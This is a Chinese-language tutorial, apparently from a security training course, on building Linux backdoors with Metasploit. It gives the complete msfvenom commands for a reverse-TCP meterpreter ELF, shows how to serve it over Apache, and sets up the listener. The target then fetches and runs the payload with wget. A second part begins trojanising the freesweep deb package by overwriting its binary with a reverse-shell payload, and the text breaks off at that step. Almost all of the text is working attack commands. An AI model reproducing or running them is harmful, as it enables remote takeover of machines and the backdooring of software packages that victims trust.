实战 - 制作 Linux 恶意软件获取 Shell
使用 msfvenom 生成 Linux 可执行文件
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod
参数补充详解:
--platform: 指定 Linux-f: 指定 ELF 即 Linux 操作系统的可执行文件类型-b: 去掉坏字符
开启 Apache 服务
/etc/init.d/apache2 start
MSF 配置监听
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.53
msf6 > set LPORT 4444
msf6 > run
下载后门
在目标 Linux 虚拟机(如 CentOS 7.5)中新建终端:
wget http://192.168.1.53/xuegod
chmod +x xuegod
./xuegod
查看相关信息
连接成功后,在 MSF 控制台查看 Session 信息:
meterpreter > ifconfig
注意: 退出 session 需要使用
quit正常退出,否则会影响下次连接。
实战 - 制作恶意 deb 软件包来触发后门
制作恶意软件包
使用 --download-only 方式下载软件包不进行安装:
apt --download-only install freesweep
将软件包移动到 root 目录:
mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb ~/
解压软件包到 free 目录:
cd ~
dpkg -x freesweep_1.0.2-1_amd64.deb free
注意: 生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的创建软件包信息目录。
生成恶意代码到软件包源文件中
msfvenom -a x64 \
--platform linux \
-p linux/x64/shell/reverse_tcp \
LHOST=192.168.1.53 \
LPORT=4444 \
-b \
-i 10 \
-f elf \
-o /root/free/usr/games/freesweep_sources


